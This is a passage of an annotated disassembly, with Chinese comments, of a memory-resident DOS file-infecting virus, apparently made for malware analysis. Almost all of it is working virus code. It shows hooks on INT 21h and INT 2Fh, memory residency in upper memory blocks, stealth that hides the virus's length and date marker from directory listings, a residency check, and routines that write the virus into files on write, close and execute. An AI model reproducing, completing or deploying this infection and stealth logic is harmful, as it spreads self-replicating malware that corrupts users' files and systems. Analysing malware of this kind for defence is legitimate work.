F6C8:03D9 E3DF     JCXZ  03BA
F6C8:03DB AD      LODSW 
F6C8:03DC 2E      CS:
F6C8:03DD A35311    MOV   [1153],AX ;调用 INT 21 子功能地址
F6C8:03E0 46      INC   SI ;找 36 FF 16 xx xx
F6C8:03E1 813C36FF   CMP   WORD PTR [SI],FF36
F6C8:03E5 E0F9     LOOPNE 03E0 ;即 CALL SS:[xxxx]
F6C8:03E7 E3D1     JCXZ  03BA
F6C8:03E9 807C0216   CMP   BYTE PTR [SI+02],16
F6C8:03ED 75F1     JNZ   03E0
F6C8:03EF 394403    CMP   [SI+03],AX ;将 CALL SS:[xxxx]
F6C8:03F2 75EC     JNZ   03E0 ;改为 CALL CS:053D
F6C8:03F4 C6049A    MOV   BYTE PTR [SI],9A ;截取新 INT 21
F6C8:03F7 C744013D05  MOV   WORD PTR [SI+01],053D ;到 CS:053D
F6C8:03FC 8C4C03    MOV   [SI+03],CS
F6C8:03FF 2E      CS:
F6C8:0400 89365B11   MOV   [115B],SI
F6C8:0404 83FE80    CMP   SI,-80
F6C8:0407 772D     JA   0436
F6C8:0409 4E      DEC   SI
F6C8:040A AD      LODSW 
F6C8:040B 3DFB80    CMP   AX,80FB ;找 FB 80 FC 11 75 0A C0 74
F6C8:040E 75F4     JNZ   0404 ;即 CMP AH,11/JNZ XXXX
F6C8:0410 813CFC11   CMP   WORD PTR [SI],11FC ;OR AL,AL/JZ XXXX
F6C8:0414 75EE     JNZ   0404 ;此代码为 INT 2F
F6C8:0416 817C02750A  CMP   WORD PTR [SI+02],0A75 ;中断的开始代码
F6C8:041B 75E7     JNZ   0404
F6C8:041D 817C05C074  CMP   WORD PTR [SI+05],74C0
F6C8:0422 75E0     JNZ   0404
F6C8:0424 4E      DEC   SI
F6C8:0425 C6049A    MOV   BYTE PTR [SI],9A ;截取新 INT 2F
F6C8:0428 C744013E04  MOV   WORD PTR [SI+01],043E ;到 CS:043E
F6C8:042D 8C4C03    MOV   [SI+03],CS ;改为 CALL CS:043E
F6C8:0430 4E      DEC   SI
F6C8:0431 2E      CS:
F6C8:0432 89365D11   MOV   [115D],SI
F6C8:0436 07      POP   ES
F6C8:0437 1F      POP   DS
F6C8:0438 61      POPA  
F6C8:0439 EADA101001  JMP   0110:10DA ;转原 INT 2A
;=========================================================================
; 新 INT 2F 中断代码部分
;=========================================================================
F6C8:043E 2E      CS:
F6C8:043F C606C00D3C  MOV   BYTE PTR [0DC0],3C
F6C8:0444 50      PUSH  AX
F6C8:0445 55      PUSH  BP
F6C8:0446 8BEC     MOV   BP,SP
F6C8:0448 80FC11    CMP   AH,11 ;模拟原 INT 2F 功能
F6C8:044B 7404     JZ   0451 ;CMP AH,11/JNZ xxxx
F6C8:044D 8346040A   ADD   WORD PTR [BP+04],+0A
F6C8:0451 8B460A    MOV   AX,[BP+0A] ;取调用 INT 2F 之地址
F6C8:0454 8CCD     MOV   BP,CS ;如果是病毒自己调用
F6C8:0456 3BC5     CMP   AX,BP ;转原 INT 2F
F6C8:0458 5D      POP   BP
F6C8:0459 58      POP   AX
F6C8:045A 740C     JZ   0468 ;
F6C8:045C 3D1612    CMP   AX,1216 ;非病毒自己调用
F6C8:045F 7507     JNZ   0468 ;则将 1216 功能
F6C8:0461 83C404    ADD   SP,+04 ;屏蔽, 出错返回
F6C8:0464 F9      STC  
F6C8:0465 CA0200    RETF  0002
F6C8:0468 CB      RETF  
;==========================================================================
;BOOT 引入时执行 INT 21H 时先执行本子程序
;功能为在第一次执行可执行程序时申请内存块驻留
F6C8:0469 80FC4B    CMP   AH,4B ;非执行程序退出
F6C8:046C 7401     JZ   046F
F6C8:046E C3      RET  
F6C8:046F 60      PUSHA 
F6C8:0470 1E      PUSH  DS
F6C8:0471 06      PUSH  ES
F6C8:0472 0AC0     OR   AL,AL
F6C8:0474 7428     JZ   049E ;执行文件转 049E
F6C8:0476 8BF2     MOV   SI,DX		;装入设备驱动程序
F6C8:0478 AC      LODSB 
F6C8:0479 0AC0     OR   AL,AL
F6C8:047B 75FB     JNZ   0478
F6C8:047D 817CF74D33  CMP   WORD PTR [SI-09],334D
F6C8:0482 7517     JNZ   049B
F6C8:0484 817CF45145  CMP   WORD PTR [SI-0C],4551
F6C8:0489 7510     JNZ   049B
F6C8:048B E89CFD    CALL  022A ;如果装入 QEMM386.SYS
F6C8:048E B80013    MOV   AX,1300 ;再次设置新 INT 13H
F6C8:0491 8BD3     MOV   DX,BX
F6C8:0493 CD2F     INT   2F   (Multiplex)
F6C8:0495 2E      CS:
F6C8:0496 C606FF00EB  MOV   BYTE PTR [00FF],EB
F6C8:049B E99B00    JMP   0539
F6C8:049E 2E      CS:			;执行程序时
F6C8:049F C606FF00EB  MOV   BYTE PTR [00FF],EB
F6C8:04A4 B452     MOV   AH,52 ;取表之表地址
F6C8:04A6 E85108    CALL  0CFA
F6C8:04A9 26      ES:
F6C8:04AA 8B47FE    MOV   AX,[BX-02] ;取第一块 MCB 地址
F6C8:04AD E8C7FB    CALL  0077 ;取最后一块 MCB 地址
F6C8:04B0 8EDB     MOV   DS,BX
F6C8:04B2 8BC3     MOV   AX,BX
F6C8:04B4 034503    ADD   AX,[DI+03]
F6C8:04B7 80FCA0    CMP   AH,A0
F6C8:04BA 760D     JBE   04C9 ;不在 UMB 中转 04C9
F6C8:04BC 33F6     XOR   SI,SI ;在 UMB 中则驻留内存
F6C8:04BE E8CDFB    CALL  008E
F6C8:04C1 B9B004    MOV   CX,04B0
F6C8:04C4 F3      REPZ
F6C8:04C5 2E      CS:
F6C8:04C6 A4      MOVSB 
F6C8:04C7 734B     JNB   0514
F6C8:04C9 B80058    MOV   AX,5800 ;取内存分配策略
F6C8:04CC E82B08    CALL  0CFA
F6C8:04CF 50      PUSH  AX
F6C8:04D0 B80158    MOV   AX,5801 ;设高到低寻找策略
F6C8:04D3 BB8000    MOV   BX,0080
F6C8:04D6 50      PUSH  AX
F6C8:04D7 E82008    CALL  0CFA
F6C8:04DA B80258    MOV   AX,5802 ;得到 UMB 链状态
F6C8:04DD E81A08    CALL  0CFA
F6C8:04E0 32E4     XOR   AH,AH
F6C8:04E2 50      PUSH  AX
F6C8:04E3 B80358    MOV   AX,5803 ;设新的 UMB 状态
F6C8:04E6 B301     MOV   BL,01 ;为将 UMB 加入 DOS 内存链
F6C8:04E8 50      PUSH  AX
F6C8:04E9 E80E08    CALL  0CFA
F6C8:04EC B448     MOV   AH,48 ;分配内存
F6C8:04EE BB3801    MOV   BX,0138
F6C8:04F1 E80608    CALL  0CFA
F6C8:04F4 95      XCHG  AX,BP
F6C8:04F5 58      POP   AX
F6C8:04F6 5B      POP   BX
F6C8:04F7 E80008    CALL  0CFA ;恢复分配内存策略
F6C8:04FA 58      POP   AX ;及恢复 UMB 状态
F6C8:04FB 5B      POP   BX
F6C8:04FC E8FB07    CALL  0CFA
F6C8:04FF 33FF     XOR   DI,DI
F6C8:0501 8EC5     MOV   ES,BP
F6C8:0503 4D      DEC   BP
F6C8:0504 8EDD     MOV   DS,BP ;将内存块改为 DOS 使用
F6C8:0506 C745010800  MOV   WORD PTR [DI+01],0008
F6C8:050B 33F6     XOR   SI,SI
F6C8:050D 0E      PUSH  CS
F6C8:050E 1F      POP   DS
F6C8:050F B97713    MOV   CX,1377
F6C8:0512 F3      REPZ
F6C8:0513 A4      MOVSB  ;驻留内存
F6C8:0514 0E      PUSH  CS
F6C8:0515 1F      POP   DS
F6C8:0516 8B3E4502   MOV   DI,[0245] ;将 INT 21 地址
F6C8:051A 8B365D11   MOV   SI,[115D] ;改到新的地址
F6C8:051E C51E5711   LDS   BX,[1157]
F6C8:0522 8C47FE    MOV   [BX-02],ES
F6C8:0525 8C4404    MOV   [SI+04],ES
F6C8:0528 8ED9     MOV   DS,CX
F6C8:052A 8C4502    MOV   [DI+02],ES
F6C8:052D 26      ES:
F6C8:052E C60604013C  MOV   BYTE PTR [0104],3C
F6C8:0533 26      ES:
F6C8:0534 C60658053D  MOV   BYTE PTR [0558],3D
F6C8:0539 07      POP   ES
F6C8:053A 1F      POP   DS
F6C8:053B 61      POPA  
F6C8:053C C3      RET  
;=========================================================================
; 新 INT 21H 代码部分
;=========================================================================
F6C8:053D 2E      CS:
F6C8:053E 8F065711   POP   WORD PTR [1157] ;保存返回地址
F6C8:0542 2E      CS: ;于 1157 (IP) 和 1159 (CS)
F6C8:0543 8F065911   POP   WORD PTR [1159]
F6C8:0547 9C      PUSHF 
F6C8:0548 55      PUSH  BP
F6C8:0549 8BEC     MOV   BP,SP
F6C8:054B 817E045344  CMP   WORD PTR [BP+04],4453
F6C8:0550 5D      POP   BP
F6C8:0551 7504     JNZ   0557 ;????
F6C8:0553 9D      POPF  
F6C8:0554 44      INC   SP
F6C8:0555 44      INC   SP
F6C8:0556 C3      RET  
F6C8:0557 9D      POPF  
F6C8:0558 3D0EFF    CMP   AX,FF0E ====> ;BOOT 引入时
F6C8:055B 80FC11    CMP   AH,11 ;本句代码为 CALL 0469
F6C8:055E 7235     JB   0595
F6C8:0560 80FC12    CMP   AH,12 ;DOS 功能 11,12 (DIR 时使用)
F6C8:0563 7730     JA   0595 ;则更改文件长度
F6C8:0565 E82308    CALL  0D8B ;调用原 INT 21 功能
F6C8:0568 0AC0     OR   AL,AL ;成功转 057B
F6C8:056A 740F     JZ   057B
F6C8:056C 50      PUSH  AX
F6C8:056D B81812    MOV   AX,1218 ;INT 2F 之 1218 功能
F6C8:0570 E84D08    CALL  0DC0 ;取 DOS 调用者寄存器
F6C8:0573 58      POP   AX
F6C8:0574 8904     MOV   [SI],AX ;修改返回值
F6C8:0576 2E      CS: ;返回调用处
F6C8:0577 FF2E5711   JMP   FAR DWORD PTR [1157]
F6C8:057B E86208    CALL  0DE0		;
F6C8:057E 74EC     JZ   056C
F6C8:0580 50      PUSH  AX
F6C8:0581 B42F     MOV   AH,2F
F6C8:0583 E87407    CALL  0CFA
F6C8:0586 26      ES:
F6C8:0587 803FFF    CMP   BYTE PTR [BX],FF
F6C8:058A 7503     JNZ   058F
F6C8:058C 83C307    ADD   BX,+07
F6C8:058F 43      INC   BX
F6C8:0590 BE0200    MOV   SI,0002
F6C8:0593 EB17     JMP   05AC
;==========================================================================
F6C8:0595 80FC4E    CMP   AH,4E
F6C8:0598 7239     JB   05D3
F6C8:059A 80FC4F    CMP   AH,4F
F6C8:059D 7734     JA   05D3
F6C8:059F E8E907    CALL  0D8B
F6C8:05A2 50      PUSH  AX
F6C8:05A3 722B     JB   05D0
F6C8:05A5 B42F     MOV   AH,2F
F6C8:05A7 E85007    CALL  0CFA
F6C8:05AA 33F6     XOR   SI,SI
F6C8:05AC E82808    CALL  0DD7
F6C8:05AF 741F     JZ   05D0
F6C8:05B1 06      PUSH  ES
F6C8:05B2 1F      POP   DS
F6C8:05B3 807F19C8   CMP   BYTE PTR [BX+19],C8
F6C8:05B7 7217     JB   05D0
F6C8:05B9 806F19C8   SUB   BYTE PTR [BX+19],C8
F6C8:05BD C4401A    LES   AX,[BX+SI+1A]
F6C8:05C0 8CC2     MOV   DX,ES
F6C8:05C2 2DC70E    SUB   AX,0EC7
F6C8:05C5 83DA00    SBB   DX,+00
F6C8:05C8 7206     JB   05D0
F6C8:05CA 89401A    MOV   [BX+SI+1A],AX
F6C8:05CD 89501C    MOV   [BX+SI+1C],DX
F6C8:05D0 58      POP   AX
F6C8:05D1 EB99     JMP   056C
;=========================================================================
F6C8:05D3 3D0242    CMP   AX,4202
F6C8:05D6 7526     JNZ   05FE
F6C8:05D8 E8FA06    CALL  0CD5
F6C8:05DB 7621     JBE   05FE
F6C8:05DD E8F707    CALL  0DD7
F6C8:05E0 741C     JZ   05FE
F6C8:05E2 816D11C70E  SUB   WORD PTR [DI+11],0EC7
F6C8:05E7 835D1300   SBB   WORD PTR [DI+13],+00
F6C8:05EB 57      PUSH  DI
F6C8:05EC 1E      PUSH  DS
F6C8:05ED E89B07    CALL  0D8B
F6C8:05F0 1F      POP   DS
F6C8:05F1 5F      POP   DI
F6C8:05F2 814511C70E  ADD   WORD PTR [DI+11],0EC7
F6C8:05F7 83551300   ADC   WORD PTR [DI+13],+00
F6C8:05FB E96EFF    JMP   056C
;==========================================================================
F6C8:05FE 80FC57    CMP   AH,57
F6C8:0601 7520     JNZ   0623
F6C8:0603 E8CF06    CALL  0CD5
F6C8:0606 761B     JBE   0623
F6C8:0608 E8CC07    CALL  0DD7
F6C8:060B 7416     JZ   0623
F6C8:060D 57      PUSH  DI
F6C8:060E 1E      PUSH  DS
F6C8:060F 0AC0     OR   AL,AL
F6C8:0611 7504     JNZ   0617
F6C8:0613 806D10C8   SUB   BYTE PTR [DI+10],C8
F6C8:0617 E87107    CALL  0D8B
F6C8:061A 1F      POP   DS
F6C8:061B 5F      POP   DI
F6C8:061C 804510C8   ADD   BYTE PTR [DI+10],C8
F6C8:0620 E949FF    JMP   056C
;===========================================================================
F6C8:0623 80FC3F    CMP   AH,3F
F6C8:0626 7403     JZ   062B
F6C8:0628 E94901    JMP   0774
F6C8:062B E8A907    CALL  0DD7 ;新 INT 21 之 3F 功能
F6C8:062E 74F8     JZ   0628 ;执行压缩文件跳过
F6C8:0630 1E      PUSH  DS
F6C8:0631 E8A106    CALL  0CD5 ;取文件句柄表地址
F6C8:0634 1F      POP   DS
F6C8:0635 76F1     JBE   0628
F6C8:0637 2E      CS:
F6C8:0638 8C1E6B0C   MOV   [0C6B],DS
F6C8:063C 0E      PUSH  CS
F6C8:063D 1F      POP   DS
F6C8:063E 890E650C   MOV   [0C65],CX
F6C8:0642 8916680C   MOV   [0C68],DX
F6C8:0646 83266F0700  AND   WORD PTR [076F],0000
F6C8:064B 06      PUSH  ES
F6C8:064C 1F      POP   DS
F6C8:064D E85A06    CALL  0CAA ;测试当前文件指针
F6C8:0650 2D4000    SUB   AX,0040
F6C8:0653 83DA00    SBB   DX,+00
F6C8:0656 7320     JNB   0678 ;非文件头 40H 字节转 0678
F6C8:0658 034511    ADD   AX,[DI+11]
F6C8:065B 135513    ADC   DX,[DI+13]
F6C8:065E 874515    XCHG  AX,[DI+15]
F6C8:0661 875517    XCHG  DX,[DI+17]
F6C8:0664 8BCA     MOV   CX,DX
F6C8:0666 92      XCHG  AX,DX
F6C8:0667 E8F205    CALL  0C5C
F6C8:066A 7303     JNB   066F
F6C8:066C E9FD00    JMP   076C
F6C8:066F 9C      PUSHF 
F6C8:0670 03D0     ADD   DX,AX
F6C8:0672 E83F06    CALL  0CB4
F6C8:0675 9D      POPF  
F6C8:0676 74F4     JZ   066C
F6C8:0678 06      PUSH  ES
F6C8:0679 E82E06    CALL  0CAA
F6C8:067C 50      PUSH  AX
F6C8:067D 52      PUSH  DX
F6C8:067E E83F06    CALL  0CC0
F6C8:0681 E86A05    CALL  0BEE
F6C8:0684 59      POP   CX
F6C8:0685 5A      POP   DX
F6C8:0686 9C      PUSHF 
F6C8:0687 E82A06    CALL  0CB4
F6C8:068A 9D      POPF  
F6C8:068B C406030F   LES   AX,[0F03]
F6C8:068F 8CC1     MOV   CX,ES
F6C8:0691 1F      POP   DS
F6C8:0692 7303     JNB   0697
F6C8:0694 E9BE00    JMP   0755
F6C8:0697 874511    XCHG  AX,[DI+11]
F6C8:069A 50      PUSH  AX
F6C8:069B 874D13    XCHG  CX,[DI+13]
F6C8:069E 51      PUSH  CX
F6C8:069F E8BA05    CALL  0C5C
F6C8:06A2 8F4513    POP   WORD PTR [DI+13]
F6C8:06A5 8F4511    POP   WORD PTR [DI+11]
F6C8:06A8 7703     JA   06AD
F6C8:06AA E9BF00    JMP   076C
F6C8:06AD E8FA05    CALL  0CAA
F6C8:06B0 0E      PUSH  CS
F6C8:06B1 1F      POP   DS
F6C8:06B2 2B06030F   SUB   AX,[0F03]
F6C8:06B6 1B16050F   SBB   DX,[0F05]
F6C8:06BA 753F     JNZ   06FB
F6C8:06BC 3D4800    CMP   AX,0048
F6C8:06BF 733A     JNB   06FB
F6C8:06C1 05070F    ADD   AX,0F07
F6C8:06C4 96      XCHG  AX,SI
F6C8:06C5 33C0     XOR   AX,AX
F6C8:06C7 8B3E680C   MOV   DI,[0C68]
F6C8:06CB 8E066B0C   MOV   ES,[0C6B]
F6C8:06CF 8B0E650C   MOV   CX,[0C65]
F6C8:06D3 E312     JCXZ  06E7
F6C8:06D5 81FE4F0F   CMP   SI,0F4F
F6C8:06D9 730C     JNB   06E7
F6C8:06DB A4      MOVSB 
F6C8:06DC FF066F07   INC   WORD PTR [076F]
F6C8:06E0 FF06680C   INC   WORD PTR [0C68]
F6C8:06E4 40      INC   AX
F6C8:06E5 E2EE     LOOP  06D5
F6C8:06E7 890E650C   MOV   [0C65],CX
F6C8:06EB E8E705    CALL  0CD5
F6C8:06EE 014515    ADD   [DI+15],AX
F6C8:06F1 83551700   ADC   WORD PTR [DI+17],+00
F6C8:06F5 0BC9     OR   CX,CX
F6C8:06F7 7502     JNZ   06FB
F6C8:06F9 EB71     JMP   076C
F6C8:06FB 0E      PUSH  CS
F6C8:06FC 1F      POP   DS
F6C8:06FD A12B0F    MOV   AX,[0F2B]
F6C8:0700 33D2     XOR   DX,DX
F6C8:0702 050100    ADD   AX,0001
F6C8:0705 13D2     ADC   DX,DX
F6C8:0707 BE0800    MOV   SI,0008
F6C8:070A F7E6     MUL   SI
F6C8:070C 0306310F   ADD   AX,[0F31]
F6C8:0710 83D200    ADC   DX,+00
F6C8:0713 0306030F   ADD   AX,[0F03]
F6C8:0717 1316050F   ADC   DX,[0F05]
F6C8:071B E8B705    CALL  0CD5
F6C8:071E 3B5517    CMP   DX,[DI+17]
F6C8:0721 7232     JB   0755
F6C8:0723 7705     JA   072A
F6C8:0725 3B4515    CMP   AX,[DI+15]
F6C8:0728 762B     JBE   0755
F6C8:072A 2D0800    SUB   AX,0008
F6C8:072D 83DA00    SBB   DX,+00
F6C8:0730 874511    XCHG  AX,[DI+11]
F6C8:0733 50      PUSH  AX
F6C8:0734 875513    XCHG  DX,[DI+13]
F6C8:0737 52      PUSH  DX
F6C8:0738 836D1508   SUB   WORD PTR [DI+15],+08
F6C8:073C 835D1700   SBB   WORD PTR [DI+17],+00
F6C8:0740 E81905    CALL  0C5C
F6C8:0743 9C      PUSHF 
F6C8:0744 83451508   ADD   WORD PTR [DI+15],+08
F6C8:0748 83551500   ADC   WORD PTR [DI+15],+00
F6C8:074C 9D      POPF  
F6C8:074D 8F4513    POP   WORD PTR [DI+13]
F6C8:0750 8F4511    POP   WORD PTR [DI+11]
F6C8:0753 7617     JBE   076C
F6C8:0755 816D11C70E  SUB   WORD PTR [DI+11],0EC7
F6C8:075A 835D1300   SBB   WORD PTR [DI+13],+00
F6C8:075E E8FB04    CALL  0C5C
F6C8:0761 9C      PUSHF 
F6C8:0762 814511C70E  ADD   WORD PTR [DI+11],0EC7
F6C8:0767 83551300   ADC   WORD PTR [DI+13],+00
F6C8:076B 9D      POPF  
F6C8:076C 7203     JB   0771
F6C8:076E B875D5    MOV   AX,D575
F6C8:0771 E9F8FD    JMP   056C
;===========================================================================
F6C8:0774 60      PUSHA  ;病毒驻留检验
F6C8:0775 1E      PUSH  DS ;以 AX = 187F
F6C8:0776 06      PUSH  ES ;  BX = 4453 调用
F6C8:0777 3D7F18    CMP   AX,187F ;返回 AX = 434E
F6C8:077A 7514     JNZ   0790
F6C8:077C 81FB5344   CMP   BX,4453
F6C8:0780 750E     JNZ   0790
F6C8:0782 B81812    MOV   AX,1218 ;取返回寄存器地址
F6C8:0785 E83806    CALL  0DC0 ;修改返回 AX 值
F6C8:0788 8144024E43  ADD   WORD PTR [SI+02],434E
F6C8:078D E9C201    JMP   0952
;===========================================================================
F6C8:0790 80FC40    CMP   AH,40
F6C8:0793 7403     JZ   0798
F6C8:0795 E9F100    JMP   0889
F6C8:0798 E83A05    CALL  0CD5
F6C8:079B 76F8     JBE   0795
F6C8:079D E81604    CALL  0BB6
F6C8:07A0 FF7505    PUSH  WORD PTR [DI+05]
F6C8:07A3 C54515    LDS   AX,[DI+15]
F6C8:07A6 50      PUSH  AX
F6C8:07A7 1E      PUSH  DS
F6C8:07A8 E81505    CALL  0CC0
F6C8:07AB 7303     JNB   07B0
F6C8:07AD E9C800    JMP   0878
F6C8:07B0 E83B04    CALL  0BEE
F6C8:07B3 9C      PUSHF 
F6C8:07B4 8306030F08  ADD   WORD PTR [0F03],+08
F6C8:07B9 8316050F00  ADC   WORD PTR [0F05],+00
F6C8:07BE 9D      POPF  
F6C8:07BF 7303     JNB   07C4
F6C8:07C1 E99900    JMP   085D
F6C8:07C4 8B441C    MOV   AX,[SI+1C]
F6C8:07C7 33D2     XOR   DX,DX
F6C8:07C9 B90800    MOV   CX,0008
F6C8:07CC F7E1     MUL   CX
F6C8:07CE 034422    ADD   AX,[SI+22]
F6C8:07D1 83D200    ADC   DX,+00
F6C8:07D4 50      PUSH  AX
F6C8:07D5 52      PUSH  DX
F6C8:07D6 0306030F   ADD   AX,[0F03]
F6C8:07DA 1316050F   ADC   DX,[0F05]
F6C8:07DE 050002    ADD   AX,0200
F6C8:07E1 83D200    ADC   DX,+00
F6C8:07E4 8BCA     MOV   CX,DX
F6C8:07E6 92      XCHG  AX,DX
F6C8:07E7 E8CA04    CALL  0CB4
F6C8:07EA 5A      POP   DX
F6C8:07EB 58      POP   AX
F6C8:07EC 2D4000    SUB   AX,0040
F6C8:07EF 83DA00    SBB   DX,+00
F6C8:07F2 B90002    MOV   CX,0200
F6C8:07F5 F7F1     DIV   CX
F6C8:07F7 8BFA     MOV   DI,DX
F6C8:07F9 95      XCHG  AX,BP
F6C8:07FA 83ED01    SUB   BP,+01
F6C8:07FD 722E     JB   082D
F6C8:07FF B9FFFF    MOV   CX,FFFF
F6C8:0802 BAF8FB    MOV   DX,FBF8
F6C8:0805 E8AF04    CALL  0CB7
F6C8:0808 B43F     MOV   AH,3F
F6C8:080A B90002    MOV   CX,0200
F6C8:080D BA4F0F    MOV   DX,0F4F
F6C8:0810 E88C04    CALL  0C9F
F6C8:0813 7263     JB   0878
F6C8:0815 B9FFFF    MOV   CX,FFFF
F6C8:0818 BA08FE    MOV   DX,FE08
F6C8:081B E89904    CALL  0CB7
F6C8:081E B440     MOV   AH,40
F6C8:0820 B90002    MOV   CX,0200
F6C8:0823 BA4F0F    MOV   DX,0F4F
F6C8:0826 E87604    CALL  0C9F
F6C8:0829 73CF     JNB   07FA
F6C8:082B EB4B     JMP   0878
F6C8:082D B9FFFF    MOV   CX,FFFF
F6C8:0830 8D950802   LEA   DX,[DI+0208]
F6C8:0834 F7DA     NEG   DX
F6C8:0836 E87E04    CALL  0CB7
F6C8:0839 B43F     MOV   AH,3F
F6C8:083B 8BCF     MOV   CX,DI
F6C8:083D BA4F0F    MOV   DX,0F4F
F6C8:0840 E85C04    CALL  0C9F
F6C8:0843 7233     JB   0878
F6C8:0845 B9FFFF    MOV   CX,FFFF
F6C8:0848 8D5540    LEA   DX,[DI+40]
F6C8:084B F7DA     NEG   DX
F6C8:084D E86704    CALL  0CB7
F6C8:0850 B440     MOV   AH,40
F6C8:0852 8D4D48    LEA   CX,[DI+48]
F6C8:0855 BA070F    MOV   DX,0F07
F6C8:0858 E84404    CALL  0C9F
F6C8:085B 721B     JB   0878
F6C8:085D E83004    CALL  0C90
F6C8:0860 7216     JB   0878
F6C8:0862 B9FFFF    MOV   CX,FFFF
F6C8:0865 BA39F1    MOV   DX,F139
F6C8:0868 E84F04    CALL  0CBA
F6C8:086B B440     MOV   AH,40
F6C8:086D 41      INC   CX
F6C8:086E E88904    CALL  0CFA
F6C8:0871 E86104    CALL  0CD5
F6C8:0874 806D10C8   SUB   BYTE PTR [DI+10],C8
F6C8:0878 59      POP   CX
F6C8:0879 5A      POP   DX
F6C8:087A E83704    CALL  0CB4
F6C8:087D E85504    CALL  0CD5
F6C8:0880 8F4505    POP   WORD PTR [DI+05]
F6C8:0883 E85303    CALL  0BD9
F6C8:0886 E9C900    JMP   0952
;=========================================================================
F6C8:0889 80FC3E    CMP   AH,3E
F6C8:088C 750C     JNZ   089A
F6C8:088E E82503    CALL  0BB6
F6C8:0891 E8E100    CALL  0975
F6C8:0894 E84203    CALL  0BD9
F6C8:0897 E9B800    JMP   0952
;=========================================================================
F6C8:089A 80FC43    CMP   AH,43
F6C8:089D 7419     JZ   08B8
F6C8:089F 80FC56    CMP   AH,56
F6C8:08A2 7414     JZ   08B8
F6C8:08A4 3D004B    CMP   AX,4B00
F6C8:08A7 7205     JB   08AE
F6C8:08A9 3D054B    CMP   AX,4B05
F6C8:08AC 7603     JBE   08B1
F6C8:08AE E9A100    JMP   0952
F6C8:08B1 7505     JNZ   08B8
F6C8:08B3 8BF2     MOV   SI,DX
F6C8:08B5 C55404    LDS   DX,[SI+04]
;==========================================================================
F6C8:08B8 50      PUSH  AX
F6C8:08B9 E8FA02    CALL  0BB6
F6C8:08BC B8003D    MOV   AX,3D00
F6C8:08BF E83804    CALL  0CFA
F6C8:08C2 720F     JB   08D3
F6C8:08C4 93      XCHG  AX,BX
F6C8:08C5 53      PUSH  BX
F6C8:08C6 52      PUSH  DX
F6C8:08C7 1E      PUSH  DS
F6C8:08C8 E8AA00    CALL  0975
F6C8:08CB 1F      POP   DS
F6C8:08CC 5A      POP   DX
F6C8:08CD 5B      POP   BX
F6C8:08CE B43E     MOV   AH,3E
F6C8:08D0 E82704    CALL  0CFA
F6C8:08D3 E80303    CALL  0BD9
F6C8:08D6 58      POP   AX
F6C8:08D7 3D014B    CMP   AX,4B01
F6C8:08DA 751F     JNZ   08FB
F6C8:08DC 33ED     XOR   BP,BP
F6C8:08DE B8003D    MOV   AX,3D00
F6C8:08E1 E81604    CALL  0CFA
F6C8:08E4 7211     JB   08F7
F6C8:08E6 93      XCHG  AX,BX
F6C8:08E7 E8EB03    CALL  0CD5
F6C8:08EA 7606     JBE   08F2
F6C8:08EC E8D103    CALL  0CC0
F6C8:08EF 7201     JB   08F2
F6C8:08F1 45      INC   BP
F6C8:08F2 B43E     MOV   AH,3E
F6C8:08F4 E80304    CALL  0CFA
F6C8:08F7 0BED     OR   BP,BP
F6C8:08F9 7502     JNZ   08FD
F6C8:08FB EB55     JMP   0952
F6C8:08FD 07      POP   ES
F6C8:08FE 1F      POP   DS
F6C8:08FF 61      POPA  
F6C8:0900 53      PUSH  BX
F6C8:0901 06      PUSH  ES
F6C8:0902 E88604    CALL  0D8B
F6C8:0905 07      POP   ES
F6C8:0906 5F      POP   DI
F6C8:0907 50      PUSH  AX
F6C8:0908 7304     JNB   090E
F6C8:090A 58      POP   AX
F6C8:090B E95EFC    JMP   056C
F6C8:090E B451     MOV   AH,51
F6C8:0910 CD21     INT   21   (DOS)
F6C8:0912 8BEB     MOV   BP,BX
F6C8:0914 BEC70E    MOV   SI,0EC7
F6C8:0917 0E      PUSH  CS
F6C8:0918 1F      POP   DS
F6C8:0919 AD      LODSW 
F6C8:091A E88F02    CALL  0BAC
F6C8:091D 7409     JZ   0928
F6C8:091F 48      DEC   AX
F6C8:0920 26      ES:
F6C8:0921 C47D12    LES   DI,[DI+12]
F6C8:0924 AB      STOSW 
F6C8:0925 A4      MOVSB 
F6C8:0926 EBE2     JMP   090A
F6C8:0928 83C70E    ADD   DI,+0E
F6C8:092B 1E      PUSH  DS
F6C8:092C 26      ES:
F6C8:092D C51D     LDS   BX,[DI]
F6C8:092F 8B0F     MOV   CX,[BX]
F6C8:0931 1F      POP   DS
F6C8:0932 8B440E    MOV   AX,[SI+0E]
F6C8:0935 48      DEC   AX
F6C8:0936 48      DEC   AX
F6C8:0937 AB      STOSW 
F6C8:0938 93      XCHG  AX,BX
F6C8:0939 8D4610    LEA   AX,[BP+10]
F6C8:093C 50      PUSH  AX
F6C8:093D 03440C    ADD   AX,[SI+0C]
F6C8:0940 AB      STOSW 
F6C8:0941 1E      PUSH  DS
F6C8:0942 8ED8     MOV   DS,AX
F6C8:0944 890F     MOV   [BX],CX
F6C8:0946 1F      POP   DS
F6C8:0947 8B4412    MOV   AX,[SI+12]
F6C8:094A AB      STOSW 
F6C8:094B 58      POP   AX
F6C8:094C 034414    ADD   AX,[SI+14]
F6C8:094F AB      STOSW 
F6C8:0950 EBB8     JMP   090A
;==========================================================================
F6C8:0952 07      POP   ES
F6C8:0953 1F      POP   DS
F6C8:0954 61      POPA   ;INT 21 CALL SS:[XXXX]
F6C8:0955 2E      CS: ;的返回地址 (1157)
F6C8:0956 FF365711   PUSH  WORD PTR [1157]
F6C8:095A 55      PUSH  BP
F6C8:095B 2E      CS:
F6C8:095C 8B2E5311   MOV   BP,[1153] ;调用地址
F6C8:0960 8B6E00    MOV   BP,[BP+00]
F6C8:0963 2E      CS:
F6C8:0964 892E5711   MOV   [1157],BP
F6C8:0968 5D      POP   BP
F6C8:0969 2E      CS:
F6C8:096A FF365911   PUSH  WORD PTR [1159] ;调用 INT 21 的段地址
F6C8:096E 2E      CS:
F6C8:096F FF365711   PUSH  WORD PTR [1157] ;调用地址
F6C8:0973 CB      RETF   ;到原 INT 21 功能
F6C8:0974 C3      RET  
;==========================================================================
F6C8:0975 E85D03    CALL  0CD5
F6C8:0978 72FA     JB   0974
F6C8:097A 75F8     JNZ   0974
F6C8:097C 833D01    CMP   WORD PTR [DI],+01
F6C8:097F 75F3     JNZ   0974
F6C8:0981 F645053E   TEST  BYTE PTR [DI+05],3E
F6C8:0985 7514     JNZ   099B
F6C8:0987 BAF503    MOV   DX,03F5
F6C8:098A B004     MOV   AL,04
F6C8:098C EE      OUT   DX,AL
F6C8:098D B504     MOV   CH,04
F6C8:098F E2FE     LOOP  098F
F6C8:0991 EE      OUT   DX,AL
F6C8:0992 B504     MOV   CH,04
F6C8:0994 E2FE     LOOP  0994
